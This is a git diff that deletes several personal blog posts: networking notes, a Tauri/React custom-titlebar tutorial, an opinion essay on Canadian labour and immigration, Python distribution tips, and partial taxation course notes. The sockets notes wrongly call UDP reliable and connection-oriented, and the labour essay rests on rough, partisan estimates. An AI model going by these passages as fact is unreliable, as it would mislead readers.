Sockets - -For networking purposes pioneered by BSD. - -1. Reliable connection-oriented byte stream - pipe equivalent (Transmission Control Protocol TCP) -2. Reliable connection-oriented packet stream (User Datagram Protocol UDP) -3. Unreliable packet transmission - -Protocols including Internet Protocol originated from US Dept. of Defense's ARPANET - -## Precision Time Protocol (PTP) - -- The outcome of using PTP is synchronization (time) of multiple systems that are interconnected down to **nanosecond precision**. -- The case for PTP is that when there are multiple systems responding to multiple clients, a write request and a read request can land on different nodes; often times databases have replicas so a read might hit one of the replicas that hasn't registered the write (violation of **linearizability**). - - Solution: we want timestamps on the backend and database replicas so that the replica blocks the read until it's own updated timestamp is equal or greater to the read request. The alternative would be to mash queries to the replica until most replicas are in consensus. - - Implementation: To have precise timestamps for systems where changes can happen in the milliseconds, a time synchronization protocol is needed for nanosecond precision - -[IEEE 1588-2019](https://standards.ieee.org/ieee/1588/6825/) - -> provides precise synchronization of clocks in packet-based networked systems - -## System Resources - -### Containers - -- Docker - - Isolate the process -- Control Groups (cgroups) - - Allow the system to control access to system resource (meter, limit, restrict) - -Containers aren't just for isolating applications and ensuring "it will run everywhere." Containers can also be used to make it easier to allocate a system's resources. - -Suppose we want to limit how much memory an application uses. We want to containerize the application using something like docker and limit the memory using `docker run --memory=1g` - -### Mitigating Memory Usage - -Suppose an application's memory usage keeps increasing as it runs. What could be the cause of the problem? What happens to the other applications if the system's memory usage is at 99%-100%? What can we do to ensure the application will keep running (e.g. systemd service Restart=always)? What can we do to prolong/delay the issue and doesn't hinder performance (i.e. increasing swap space has noticeable effects but speaking practically what can you do if you in the perspective of being the head of infrastructure)? diff --git a/content/posts/tauri-custom-titlebar.md b/content/posts/tauri-custom-titlebar.md deleted file mode 100644 index 8f6f9e02f..000000000 --- a/content/posts/tauri-custom-titlebar.md +++ /dev/null @@ -1,364 +0,0 @@ ---- -title: "Tauri Custom Titlebar (React)" -date: 2022-12-24T10:45:01-05:00 -tags: - - tutorial - - programming - - javascript - - webdev - - react - - tauri -summary: "Implement a custom titlebar in your Tauri and ReactJS application, including handling window controls, translations, and ensuring rounded corners on Windows 11." ---- - -This tutorial is based on Part 12 of my Tauri & ReactJS series. - -{{< youtube zONyCMTUwsI >}} - -In this article, I'll show you how I implemented custom titlebars for my Tauri apps. I'll start off with an overview for -what's required. - -The source code can be found [here](https://github.com/elibroftw/modern-desktop-app-template) - -- Tauri APIs -- Coding `Titlebar.jsx` -- How to get the translations for the window control tooltips -- Enabling/disabling the native & custom titlebar based on the Operating System and if in fullscreen -- Using `simplebar` so that scrollbars are not beside the titlebar -- Using `window-shadows` crate to ensure rounded corners on Windows 11 - -{{< toc >}} - -## package.json - -The react libraries used are `@mantine/hooks`, `react-i18next`, `simplebar-react`, `react-icons`. - -I also use a styling library, `@mantine/core`, but it's not a hard requirement for a custom titlebar. - -## Tauri APIs - -
-src-tauri/tauri.conf.json: Enable window APIs - -```json -{ - // ... - "tauri": { - // ... - "allowlist": { - // ... - "window": { - // ... - "close": true, - "maximize": true, - "minimize": true, - "setDecorations": true, - "startDragging": true, - "unmaximize": true, - "unminimize": true - } - } - } -} -``` - -
- -
-src-tauri/tauri.windows.conf.json: disable decorations by default on Windows - -```json -{ - "tauri": { - "windows": [ - { - // copy window details from tauri.conf.json - "decorations": false, - } - ] - } -} -``` - -
- -## Titlebar.jsx - -NOTE: This is a Windows replica. This article does not support custom Mac titlebars since I don't own a Mac and thus cannot -replicate it so easily. - -Create a `src/Component/Titlebar.jsx` where we will create a component that works in a plug and play manner. - -You can modify this component to either use a different UI/styling library as well as to change the default title. -In a future version of Tauri, the Titlebar will automatically synchronize the title (if you need synching asap for a -production app, use a tauri version from a git revision rather than creates.io). - -There is some code commented out if you want the title to be in the center rather than the left side. -The styling was hand picked, especially the reds used for the close button. -If you want to, you can remove or replace the Menu that shows up when you hover the app icon. - -
-Code - -```jsx -import { createStyles, Menu, Text, UnstyledButton } from '@mantine/core'; -import { useInterval } from '@mantine/hooks'; -import { appWindow } from '@tauri-apps/api/window'; -import { useEffect, useState } from 'react'; -import { useTranslation } from 'react-i18next'; -import { VscChromeClose, VscChromeMaximize, VscChromeMinimize, VscChromeRestore } from 'react-icons/vsc'; -import AppIcon from '../../src-tauri/icons/32x32.png'; - -export function Titlebar() { - const { t } = useTranslation(); - const { classes } = getTitleBarStyles(); - const [maximized, setMaximized] = useState(false); - const [fullscreen, setFullscreen] = useState(false); - const [windowTitle, setWindowTitle] = useState('TitleBar.jsx Title'); - - const tauriInterval = useInterval(() => { - appWindow.isMaximized().then(setMaximized); - appWindow.isFullscreen().then(setFullscreen); - appWindow.title().then(setWindowTitle); - }, 200); - - useEffect(() => { - tauriInterval.start(); - return tauriInterval.stop; - }, []); - - return !fullscreen &&
-
- {/* window icon */} - - - - - - appWindow.minimize()} icon={}>{t('Minimize')} - {maximized ? - appWindow.toggleMaximize()} icon={}>{t('Restore Down')} : - appWindow.toggleMaximize()} icon={}>{t('Maximize')}} - - appWindow.close()} icon={} rightSection={ - Alt + F4}>{t('Close')} - - - {/* left window title */} - {windowTitle} -
- {/* center window title */} - {/* {windowTitle} */} -
- {/* window icons */} -
appWindow.minimize()}> - -
- {maximized ? -
appWindow.toggleMaximize()}> - -
: -
appWindow.toggleMaximize()}> - -
- } -
appWindow.close()}> - -
-
-
; -} - -const getTitleBarStyles = createStyles(theme => ({ - titlebarIcon: { - marginLeft: 5, - verticalAlign: 'bottom', - filter: theme.colorScheme === 'dark' ? '' : 'grayscale(100%) contrast(0)' - }, - verticalAlign: { - verticalAlign: 'middle' - }, - titlebarLabel: { - display: 'inline', - marginLeft: 5, - // marginLeft: 46 * 3 - 16 - 7.5 // for center labels - lineHeight: '30px' - }, - titlebar: { - height: 30, - background: theme.colorScheme === 'dark' ? theme.colors.dark[8] : theme.colors.gray[1], - // background: theme.colorScheme === 'dark' ? theme.colors.dark[7] : 'white', - display: 'flex', - justifyContent: 'space-between', - position: 'fixed', - userSelect: 'none', - top: 0, - left: 0, - right: 0, - zIndex: 1000, - '>div:nth-of-type(2)': { - display: 'flex', - justifyContent: 'flex-end', - } - }, - titlebarButton: { - transitionDuration: '200ms', - display: 'inline-flex', - justifyContent: 'center', - alignItems: 'center', - '>svg': { - fill: theme.colorScheme === 'dark' ? 'white' : 'black', - }, - width: 46, - height: 30, - '&:hover': { - background: theme.colorScheme === 'dark' ? theme.colors.dark[5] : theme.colors.gray[3], - '&:active': { - background: theme.colorScheme === 'dark' ? theme.colors.dark[4] : theme.colors.gray[4], - } - } - }, - titlebarClose: { - '&:hover': { - background: '#e81123', - '>svg': { - fill: 'white' - }, - '&:active': { - background: theme.colorScheme === 'dark' ? '#8b0a14' : '#f1707a', - } - } - } -})); -``` -
- -## i18n.js - -To get the translations for the buttons in another language, do not use Google translate. Rather, change the display language for Windows and after logging back in hover the window control buttons -of native Windows applications. I did this for French (Canadian) and got the following. Google Translate gave something different for Maximize and Restore down. - -```js -fr: { - translations: { - 'Minimize': 'Réduire', - 'Maximize': 'Agrandir', - 'Restore Down': 'Niveau inf.', - 'Close': 'Fermer', - } -} -``` - -## How to use Titlebar.jsx effectively - -To use the titlebar effectively, we need to first determine at runtime if we are using a custom titlebar or not. -We also need to use scrollbars for inner components and disable the scrollbar for the entire window. Otherwise -the scrollbar will show up beside the custom titlebar. - -In `src/App.jsx` I have the following code. [src/TauriProvider.jsx implementation](https://github.com/elibroftw/modern-desktop-app-template/blob/master/src/TauriProvider.jsx) - -```jsx -import { useState, useEffect, useRef } from 'react'; -import SimpleBar from 'simplebar-react'; -import 'simplebar/dist/simplebar.min.css'; -import { Titlebar } from './Components/Titlebar'; -import { useInterval } from '@mantine/hooks'; -import { appWindow } from '@tauri-apps/api/window' -import { useTauriContext } from './TauriProvider'; -import { WIN32_CUSTOM_TITLEBAR } from './utils'; // this is a constant set to true - -// ... - // use the custom title bar only on Windows - const { osType } = useTauriContext(); - useEffect(() => { - if (osType === 'Windows_NT') appWindow.setDecorations(!WIN32_CUSTOM_TITLEBAR); - }, [osType]); - - // hide titlebar in fullscreen - const [fullscreen, setFullscreen] = useState(false); - const tauriInterval = useInterval(() => { - appWindow.isFullscreen().then(setFullscreen); - }, 200); - useEffect(() => { - tauriInterval.start(); - return tauriInterval.stop - }, []); - - // use this variable like so - const using_custom_titlebar = !fullscreen && osType === 'Windows_NT' && WIN32_CUSTOM_TITLEBAR; - // ... - const scrollbar = useRef(); // pass this into a Scroll to top component - return <> - {using_custom_titlebar && } - {/* if you are using mantine, set dynamic global styles for the custom scrollbar*/} - {/* */} - - {/* code goes here */} - - ; -``` - -Classes are as follows in my case - -```js - simpleBar: { - maxHeight: '100vh', - }, - titlebarMargin: { - marginTop: '2em' - }, - headerOverrides: { - maxHeight: 'calc(70px + 1em)', - paddingBottom: '0 !important', - marginTop: '1em', - }, -``` - -Global styles: - -```js - '.simplebar-vertical': { - backgroundClip: 'padding-box', - marginTop: using_custom_titlebar ? 100 : 70, - marginBottom: showFooter ? 50 : 0, - }, - body: { - overflowY: 'hidden' - } -``` - -## Windows 11 Rounded Corners - -To add back the rounded corners when decorations are off, add `window-shadows` to your `Cargo.toml` - -```toml -[dependencies] -window-shadows = {git = "https://github.com/tauri-apps/window-shadows", branch = "dev" } -``` - -Usage in `main.rs`: - -```rust -// ----------------------------- -use window_shadows::set_shadow; -// ----------------------------- - -fn main() { - tauri::Builder::default() -// ----------------------------- - .setup(|app| { - if let Some(window) = app.get_window("main") { - set_shadow(&window, true).expect("Unsupported platform!"); - } - Ok(()) - }) -// ----------------------------- - .run(tauri::generate_context!()) - .expect("error while running tauri application"); -} -``` - -## Conclusion - -This took around a couple hours to implement and I've provided this code to give you a headstart as I know very well -everyone's implementation will be slightly different. diff --git a/content/posts/the-best-religion.md b/content/posts/the-best-religion.md deleted file mode 100644 index 0bb615d88..000000000 --- a/content/posts/the-best-religion.md +++ /dev/null @@ -1,9 +0,0 @@ ---- -title: "Source: Trust me Bro" -date: 2022-03-07T18:25:56-05:00 -hidden: true -draft: true ---- - -When someone says they experienced something and want you to behave a certain way because of their experiences, we should always -ask for evidence. Without evidence, how do we know we aren't just pawns otherwise? diff --git a/content/posts/there-is-no-labour-shortage-in-canada.md b/content/posts/there-is-no-labour-shortage-in-canada.md deleted file mode 100644 index 9e7d1122b..000000000 --- a/content/posts/there-is-no-labour-shortage-in-canada.md +++ /dev/null @@ -1,153 +0,0 @@ ---- -title: "There Is No Labour Shortage in Canada" -date: 2024-02-29T21:14:08-05:00 -draft: false -tags: - - canada - - opinion -summary: "How many of month of unemployment is desirable? Duration EI is expected to last? Not only can we show that we have enough labour, we can use statistic analysis to show that the labour shortage in Canada ended in 2022." ---- - -There is no labour shortage for unskilled labour in Canada. To determine whether there's a labour shortage objectively speaking, we need to figure out how many months of unemployment is desirable. - -Since EI can be at least 14 weeks, let's say we need a strong chance (95%) during a non-recessionary economic period in Canada. - -Now we need to figure out what the competition is for the average minimum wage job. [That would be 1200](https://www.reddit.com/r/CanadaMassImmigration/comments/1b25s5n/theres_a_labour_shortage_and_we_need_more/). So the probability, assuming that for unskilled labour there is no customization of job applications, is 1/1200 or 0.00083. - -Now we need to figure out how many jobs we can apply to in the span of 14 weeks without burning out. It's going to be different for everyone, but for me, I think I could do 2 per hour 8 hours a day or 80 per week or 1120 in 14 weeks. - -To figure out the number of weeks it will take to guarantee a job, we need to find the probability we will be rejected by all job applications. - -So with p(getting the job for one application) = 0.00083, - -We find that there's only a 60.54% probability you will get a job by the end of 14 weeks (1120 applications), the bare minimum of EI, and for a 95%+ chance of getting a job it would be 45 weeks of applying. 95% was chosen since we expect ~5% of people to be unemployed all the time. - -So what is the max number of applicants before we can say that there is a labour shortage? Well whatever results in a 95%+ before the 14 weeks of EI; This would mean a probability of success per application of ~0.0027 which is 370 applicants per minimum wage job posting (3.25x less applicants). So for Canada to say there is a shortage of workers, the number of people applying to switch jobs would need to be 1/3 of what it currently is: 1,224,600 as of January 2024. pre-pandemic (January 2020), the number of people unemployed was 1,118,300. Something is off. That's right, students are not considered unemployed, and we could even make the statement that 2/3 of applicants are either not permanent residents or we are in a recession and official do not want to admit it. - -> More than 900,000 foreign students had visas to study in Canada last year, which is more than three times the number 10 years ago. - -
Table of Applications and Calculation Method - -Number of Applications | Weeks spent applying to Jobs | Probability % -------------------------------- | ---------------------------------------- | ----------------- -80 | 1 | 6.43 -160 | 2 | 12.44 -240 | 3 | 18.07 -320 | 4 | 23.33 -400 | 5 | 28.26 -480 | 6 | 32.87 -560 | 7 | 37.19 -640 | 8 | 41.22 -720 | 9 | 45.00 -800 | 10 | 48.54 -880 | 11 | 51.84 -960 | 12 | 54.94 -1040 | 13 | 57.83 -**1120** | **14** | **60.54** -1200 | 15 | 63.08 -1280 | 16 | 65.45 -1360 | 17 | 67.67 -1440 | 18 | 69.75 -1520 | 19 | 71.69 -1600 | 20 | 73.51 -1680 | 21 | 75.22 -1760 | 22 | 76.81 -1840 | 23 | 78.30 -1920 | 24 | 79.69 -2000 | 25 | 81.00 -2080 | 26 | 82.22 -2160 | 27 | 83.36 -2240 | 28 | 84.43 -2320 | 29 | 85.43 -2400 | 30 | 86.37 -2480 | 31 | 87.25 -2560 | 32 | 88.06 -2640 | 33 | 88.83 -2720 | 34 | 89.55 -2800 | 35 | 90.22 -2880 | 36 | 90.85 -2960 | 37 | 91.44 -3040 | 38 | 91.99 -3120 | 39 | 92.50 -3200 | 40 | 92.98 -3280 | 41 | 93.44 -3360 | 42 | 93.86 -3440 | 43 | 94.25 -3520 | 44 | 94.62 -3600 | 45 | 94.97 -**3680** | **46** | **95.29** - -```py -total_weeks = 46 -p = 0.00083 -for i in range(1, total_weeks + 1): - tries = i * 80 - print(f'{tries} | {i} | {100 - (1 - p) ** tries * 100:.2f}') -``` - -```py -weeks = 14 -tries = weeks * 80 -one_success = 0.0001 -got_a_job = 100 - (1 - one_success) ** tries * 100 -while got_a_job < 95: - one_success += 0.0001 - got_a_job = 100 - (1 - one_success) ** tries * 100 - -print(one_success, got_a_job) -``` - -
- -### Conclusion - -At the end of the day, - -> The Retail Council of Canada wants a permanent regulation allowing 30 hours of work per week when class is in session. “For international students, retail can provide a way to supplement their incomes, enhance language skills, and provide useful employment skills – everything from front-line retail and customer service, to logistics and supply chain,” spokeswoman Michelle Wasylyshen said in an email. - -- [Financial Post (2024.02.06)](https://financialpost.com/news/economy/canada-cut-cheap-foreign-labor-minister-says) - -> In December, Immigration Minister Marc Miller extended the policy until April 30, 2024 and floated the idea of setting the cap at 30 hours a week thereafter. - -- [CTV News (2024.02.13)](https://www.ctvnews.ca/politics/minister-was-warned-before-lifting-international-student-work-limit-1.6766641) - -Marc Miller is not a rational Liberal MP. He might've said that he reduced the international study permits for 2 years, but that was clearly to distract from the waiver of 4 months. Instead of giving Canadians relief in the job market immediately, Miller opted to give corporations at least 4 more months of advantage in the labour market. His reasoning for waiving it is that the academic year ends in April, but the reality is that these students should be able to survive hours of work in the first place! Of course, maybe it's not his fault for them being in that situation as Sean Fraser was the immigration minister before him who allowed students to need 40 hours of work per week just to go to school...I'm a full time student; I don't have 40 hours a week of free time. I have classes, assignments, exams, and oh...friends. - -Who is on the Retail Council of Canada? - -[RCC Board of Directors](https://www.retailcouncil.org/who-we-are/board-of-directors/) - -Guess who voted for Liberals in 2015? Rogers executives. Who is the the first person listed on the site? That's right a Rogers executive. - -- Rogers -- Best Buy -- Rexall -- Metro -- Staples -- Apple Canada -- Restaurant Brands International (Tim Hortons, Burger King, Popeyes, Firehouse Subs) -- Showcase (???) -- London Drugs Limited -- Sobeys -- Costco Wholesale Canada -- Robert Simmonds Clothing -- **LCBO** (!!!) -- Henry's (?) -- Leon's Furniture -- Walmart Canada - -Funniest part is that these corporations talk about [diversity and inclusion](https://about.rogers.com/who-we-are/inclusion-diversity/) yet there is only one non-white person on this board of directors that is trying to lobby the government to set the international student working cap to 30 hours per week permanently even though the increase from 20 to 40 was supposed to be **temporary.** - -## Canadian Labour Shortage Ended in 2022 - -My definition of a labour shortage is that every month, more people are employed than the number of people entering the labour force. When there is no noticeable decrease in the people unemployed, we're at full employment and there is no labour shortage. - -Even [StatCan figured it out](https://www150.statcan.gc.ca/n1/pub/11-621-m/11-621-m2023009-eng.htm), there was no need for immigration as of July 2023, yet it took the government over a year to realize. - - There's ~1.5M more people in the labour force than are employed, compared to a difference of ~1.1M pre-COVID (445k more from May 2019 - April 2025). - -From May 2024 - April 2025, there was an increase of this job shortage by 160k, (I expect 130k for 2025). The number of people employed increased by 270k in the last twelve months. For Canada's job market alone (not housing) to be fixed in the next 4 years, hiring would need to increase by 240k/yr (130k + 445k/4). My take is that the government should've reduced immigration further. During 2024, the job shortage actually increased by 240k. The government reduced their immigration targets for 2025 (485,000 in 2024, 395,000 in 2025), and we're seeing the effect almost immediately. The job shortage is increasing at 10k/mo from 20k/mo on average in 2024. Therefore, we need to double the immigration cuts just to keep this job-labour deficit from going out of control. - -Since Carney is not running on reducing immigration further, he is essentially promising Canadians that his policies will double economic growth by 2028 which is crazy given that the biggest detriment to it all is their immigration policy! Even if we assumed that Carney doubles housing construction (+250k/yr), that would need to increase the number of people permanently employed by 485,000. Carney is truly a master at politicking! - -From my numbers, the government should limit immigration to 240,000 for the next 4 years.A reduction of immigration by at least 160,000 would require increasing economic growth by 33%. According to RBC, every 10% reduction in trade barriers results in 0.2% economic growth per year. Given a GDP growth rate of 1.6 percent (2024), theoretically, even a 30% reduction in trade barriers should suffice. Since Carney wants to also cut government jobs, I'd argue we need to cut immigration by 160,000/yr plus however many public sector jobs are cut per year. diff --git a/content/posts/tips-for-distributing-python-apps.md b/content/posts/tips-for-distributing-python-apps.md deleted file mode 100644 index bb8aeee3f..000000000 --- a/content/posts/tips-for-distributing-python-apps.md +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: "Tips for Distributing Python Apps" -date: 2023-07-22T01:00:56-04:00 -draft: false -hidden: true -tags: - - python -summary: "Learn five key tips for distributing Python applications effectively, covering installation without admin privileges, code distribution, creating shortcuts, common installation paths, and updating strategies." ---- - -Here are some pillars for making Python app distribution better for end users. I was not able to follow some of these pillars when I distributed Music Caster, so I wrote them down for other methods I'd try if I were to go about doing it again. - -1. Python apps should be able to be installed without requiring administrative privileges. - - - pip - - git + script - - Inno/NSIS/Wix - -2. Distribute python code as opposed to compiled code - - - obfuscate if you want to - - install dependencies on user side or bundle in zip file - - instruct user to install Python 3.X - - create virtualenv on setup - - TODO: look into [pipenv](https://docs.pipenv.org/) - -3. Create start menu shortcuts for platforms - - - Linux: `~/.local/share/applications/my_app.desktop` - - Windows: `%appdata%\Microsoft\Windows\Start Menu\Programs` - - MacOSX: ??? - -4. Install to a common programs folder - - - Linux: `~/.local/bin` - - Windows: `%localappdata%\Programs` - -5. Allow users to manually update by default and allow auto updating - - When using a git based approach, git fetch to check for updates, and git reset to the latest v* tag when updating. Try not to update to latest commit since a commit does not imply code change or testing. - - When using executables, use a server link or github API request combined with digital signed checksum (Tauri does this). diff --git a/content/posts/university/bu-357-taxation-1.md b/content/posts/university/bu-357-taxation-1.md deleted file mode 100644 index 1f0266dd7..000000000 --- a/content/posts/university/bu-357-taxation-1.md +++ /dev/null @@ -1,1503 +0,0 @@ ---- -title: "BU 357 Taxation I" -date: 2023-05-09T15:01:54-04:00 -draft: false -tags: - - university - - accounting - - taxes -summary: "Comprehensive notes for BU 357 Taxation I, covering the Income Tax Act structure, residency, employment income, business income, property income, capital gains, taxable income calculation, tax credits, and sales tax." ---- - -{{< toc >}} - -## Structure of the Act - -- DivisionA - liability -- Division B - computation of income - - subdiv. a - employment income - - subdiv. b - business and property income - - subdiv. c - capital gains/losses - - subdiv. d - other income - - subdiv. e - other deductions -- Division C - taxable income -- Division D - non-residents -- Division E - tax payable - -## Liability - -All persons (individuals and corporations) who were a resident of Canada \[sec 2(1)] at any time in the year owe taxes on taxable income. - -Taxable income\[Sec 2(2)] is the taxpayer's income for the year plus additions and minus the deductions permitted by Division C. - -### Residency: Individuals - -- Full-time resident - - Taxed on _worldwide income_ for the whole year - - Common law - - Continuing state of relationship / ties with Canada - - dwelling, family, personal properties and social ties - - Deemed - - applies to foreigners who sojourned (temp. stay) for 183 days or more \[sec 250(1)(a)] -- Part-time resident - - Clean break away or fresh start (immigrant who moved to Canada) - - Taxed on worldwide income for the part of the year while resident; taxed as non-resident for the part of the year while non-resident - - fresh start: immigrant who moved to Canada - - clean break: leaving the country for work - - more ties given up, more likely to get clean break -- Non-resident (follows) - -### Non-resident \[sec 2(3)] - -Applies to both individuals and corporations. - -- taxed on income from being employed in Canada -- carrying business in Canada - - permanent place -- disposing of a taxable canadian property, at any time in the year or a previous year -- interest income from canadian bonds do not count - -### Residency: Corporations - -- Deemed resident - - incorporated in Canada after April 26, 1965 \[sec 250(4)(a)] - - Incorporated before April 26, 1965 and had carrying business in Canada - - HQ or control in Canada -- Non-resident - -### Exercises - -- Sara lives in Windsor, Ontario with her family. She commutes daily to Detroit, Michigan, where she is employed by Auto Inc. She works 10:00am - 5:00pm, five days a week. - - Full-time common law due to continuing state of relationship in Canada - - Taxes paid to foreign governments is a tax credit towards Canadian tax payable - - vice-versa would be non-resident - -- Larry, a US resident, is a traveling salesman. In the -year, he stayed in Canada for business purposes from -March 1st to September 15th. His house, his family -and his supplies are all in the US. - - Probably fulltime deemed - -- Zoe is married and has two sons. Her question is that, -“My husband just accepted a one-year job in the US starting in -July 2023. The boys and I will not be moving with him, and he -plans to return to Canada when the year is up. Can you explain -to me some of the factors that will impact the determination of -his residency status for Canadian tax purposes? I would also -like to know how the income he earned in the US will be taxed -in Canada”. - - coming back to Canada in a year - - family ties - - therefore there is enough continuing ties for full time common law - -- Mining Ltd. was incorporated in Canada in 2001. All income -is derived from sources originating in Mexico. All the directors -reside permanently in Mexico, where they make the major -decisions. - - deemed resident since it is incorporated in Canada after April 26, 1965. - -## Employment Income - -Court determines whether individual is an employee or an independent contractor. - -- Economic reality test - - control - - who gives instructions on how to do the work - - ownership of tools - - chance of profit/risk of loss - -### Wiebe Door Services Ltd. v. M.N.R - -- Workers have their own trucks and tools -- Work is guaranteed for one year -- Contractors can refuse to work -- Workers are responsible for defects -- Some specialized equipment exists - -### Structure - -sec 5 basic inclusion + sec 6 benefits + allowance + sec 7 stock option benefits - sec 8 deductions allowed. - -sec 5: salary, wages, and other remuneration including gratuities received. - -Payroll example - -```text -Salary gross 118,000 - Payroll deductions: - Income tax withheld 17,000 # not deductible - Registered Pension plan 2,000 # deductible - CPP 3,500 # not deductible but credit - EI 953 # not deductible but credit - Union dues 500 # deductible -Net salary 84,047 -``` - -### Employee Benefits \[sec 6(1)(a)] - -- all benefits are taxable except - - retirement plans - - retirement planning - - non-cash holiday gifts (tangible) under $500 - - group **sickness** or accident insurance plan, private health services plan, a supplementary **unemployment benefits** plan - - mental health - - discounts for **all** employees where the price paid is greater than the cost - - social club memberships that benefit employer - - workshops - - training -- employer paid financial counselling is taxable -- computers that benefit the employer - -Examples: - -- fitness memberships to reduce overtime stress: not taxable because of mental health -- tuition costs: taxable -- gift certificates with value from $100 - $500: taxable because cash benefit - -### Housing loss/cost benefits - -All moving expense allowance are taxable however, when the employer pays for the loss of employee's home sale: - -- Eligible housing loss - - work location moved and you have to move for work - - at least 40km closer -- One-half of any amount above $15,000 is a taxable benefit - -### Automobiles - -Formulas are given? - -Taxable benefit is equal to - -1. Standby charge benefit \[sec 6(1)(e),6(2)] - - automobile provided by employer-owned - - A = B if primarily non-work (>= 50%) use else less of personal km and B - - B = 1,667 x number of months available - - C = Cost of the car including sales tax - - D = months available in the year - - - - leased - -2. Plus operating cost benefit - - if the employer reimburses operating cost, - or half of standby charge if primarily for work. -3. Subtract amount paid back to the company - -Example - -```txt -Mitch’s employer provides him an employer-owned car throughout the -year. -Capital cost of the car (include sales taxes). . . . .. . . . . . $38,772 -Capital cost allowance claimed by the employer . . . . . . 6,375 -Operating costs paid by the employer . . . . . . . . . . . . . . 4,250 -Kilometres (as calculated from Mitch’s log): -Employment. . . 8,000km Personal . . . 10,000km -Amount reimbursed by Mitch to the company for the personal use at 14 -cents per km = 10,000km x 14 cents . . . . . . $ 1,400 -Discuss the benefits that are included in Mitch’s employment income. -What if Mitch drove 10,000km for work and 8,000km for personal? -``` - -
Answer - -```py -# Standby charge ->>> C = 38772 ->>> D = 12 ->>> benefit = 0.02 * C * D ->>> 9305.28 -# Operating cost benefit ->>> benefit / 2 -4652.64 ->>> benefit / 2 - 1400 -3252.64 ->>> op_benefit = 0.29 * 10000 ->>> op_benefit -2900.0 ->>> benefit + op_benefit - 1400 ->>> 10805 - -# 10km for work instead ->>> B = 1667 * 12 ->>> A = min(B, 8000) ->>> benefit = A/B * (0.02 * C * D) ->>> benefit -3721.37 ->>> op_benefit = min(0.5 * benefit, 0.29 * 8000) ->>> op_benefit -1860.68 ->>> benefit + op_benefit - 0.14 * 8000 ->>> 4462.05 -``` - -
- -### Employee loans \[sec 6(9),80.4] - -- low-interest or interest free loans provided by employers are taxable benefits -- taxable benefit is `principal amounts * (prescribed rate - interest rate paid)` -- prescribed rate is the annual rate of the 3-month T-bill which is disclosed every quarter. Use the average of the quarters that the loan was taken from. - -For home loans, the comparable interest rate is the lesser of the interest rate at the time of purchase and the going interest rate in each quarter the loan was outstanding - -Example - -```txt -Mr. Maple borrowed $30,000 from his -employer on Feb. 1 at an annual rate of 1%, to -purchase common shares of a public firm. -Interest was payable monthly. The prescribed -rates are: Q1 3%, Q2 2%, Q3 3%, Q4 4% -Calculate the taxable benefit of the loan. -• What if the loan was used to buy a home? -``` - -
Answer - -```py ->>> q1 = 30000 * (0.03 - 0.01) / 12 * 2 ->>> avg_i = (0.02 + 0.03 + 0.04) / 3 ->>> q3_4 = 30000 * (avg_i - 0.01) / 12 * 9 ->>> q1 + q3_4 ->>> 550 ->>> # if home ->>> 30_000 * (0.02 / 12 * 2 + 0.01 / 12 * 3 + 0.02 / 12 * 3 + 0.02 / 12 * 3) # only Q4 comparable interest rate changes -``` - -
- -### Allowance \[sec 6(1)(b)] - -- Allowances are a fixed, specified **taxable** amount paid above salary to cover certain expenses - - In rare reasonable cases, the allowance is tax exempt - - For example, **traveling expenses** for traveling by car - -### Employment Insurance benefits \[sec 6(1)(f)] - -- Include payment from insurance plan net of contributions -- if the employer pays all or any portion of the premium -- Applied to: group sickness, accident, disability insurance plans - -
Answer for Problem 20 on slide 37 (Anita Lee) - -90000 + (1600 - 350) + 424 + 1000 + 2000 + 200 + 56.67 + 16880 + 400 = 112211 - -- premium payroll deductions are not deductible -- insurance payment is taxable net of contributions -- retirement planning is tax exempt -- tuition is not tax exempt however workshop is tax exempt since employer benefits -- director fee is income -- cash gifts are always taxable -- interest discount is a benefit - - loan benefit = 8000 \* (0.01 \* 2.5 / 12 + 0.02 \* 3 / 12) = $56.67 -- allowance is 100% taxable -- automobile benefit = 0.02 \* 38,500 \* 12 + 0.29 \* 16,000 = 16,630 -- market price minus actually paid is a benefit -- airline points is not taxable -- merchandise discount was still above cost so no taxable benefit - -
- -### Stock Options \[sec 7] - -- The benefit must be included in employment income - - On the sell date for CCPC - - On the exercise date for public corporations -- Benefit = Fair Market Value at exercise date - Strike Price of Option - - Include division C deduction equal to one-half of the benefit if either - - the option was not in the money (strike price >= stock price) on grant day - - corporation is CCPC and the stock is held for 2 years -- On selling, capital gains are (sell price - market price on exercise day) - -Capital gain on selling day = Price sold - EOD fair market price at exercise day - -An option was granted for 100 shares with a strike price of $12. On this grant day, shares were trading at $22. Next year, this option was exercised. Shares traded at $40 per share at the time. Three years later, all shares were sold at $66. What are the tax consequences. - -
Answer - -In the second year, the taxable benefit is (40 - 12) \* 100 = $2,800. In the fifth year, there is a capital gains of (66 - 40) \* 100= $2,600. - -If the company is CCPC, there is only the selling benefit of 66 - 22. - -
- -## Deductions for Taxpayers \[sec 8] - -Must be specifically permitted - -1. salespersons' (commission based) expenses - - no capital expense - - no recreational deduction -2. Traveling expenses - - transportation - - meals are 50% - - lodging -3. Professional and union dues -4. Works space in home - - princal place of work OR - - workspace itself is used **exclusively** for earning income and used regularly for meeting customers or clients - - must earn employment income - - allocate expenses between work and personal - - excess amount carried forward - - rent, utilities, repairs & maintenance, supplies, phone - - salesperson exclusive: property taxes, house insurance, limited to commissions -5. Contributions to RPP (registered pension plan) -6. Use of automobile for employment purposes - - allocate between work and personal - - interest on car loan up to $300 per month - - operating vehicle expenses related to employment (%) - - lease expenses related to employment (%) - - max of $900/month - - capital cost allowance, 30% and cost limited to 34,000 plus sales tax - -
Slide 49 example - -So 20% is workspace. Computer not on the list. - -Non-Salesperson: 600 (utilities) + 1000 (mortgage interest) + 1000 (work related expense) + 1000 + 400 + 5,000 * 0.2 (maintenance) = 4,000 - -Salesperson with $15,000 commission: 400 (property taxes) + 40 (insurance) = 4,440 - -
- -## Income from Business - -1. Business Income Defined and -General Rules for Determining -Business Income -2. Deductions denied and allowed -3. Salesperson’s expenses - -### Business income and general rules - -- Business' should be carried on with a profit or REOP -- Profit is determined in accordance with well-established business practices - -### GAAP / IFRS and the Act - -Differences: - -- Amortization -- Permanent differences -- Non-arm's length transactions (related party transactions) - - Is the transaction value at market price? - -### Disallowed deductions \[sec 18] - -1. Not for income earning purpose -2. Capital expenditures -3. Exempt income -4. Reserves -5. Personal expense -6. Not reasonable - -- payments on discounted bonds -- use of recreational facilities -- political contributions -- allowance for an automobile above the limit -- do not deduct income paid to yourself - -Examples: - -- charitable donation if not for production income - - not fully deductible -- accounting depreciation on fixed assets - - CCA -- contingent liability with respect to an upcoming union negotiation - - balance sheet -- appraisal fees to determine selling price of fixed assets - - add to the cost of the fixed asset -- premium for life insurance on company president - - exempt income so not deductible -- meals and entertainment are 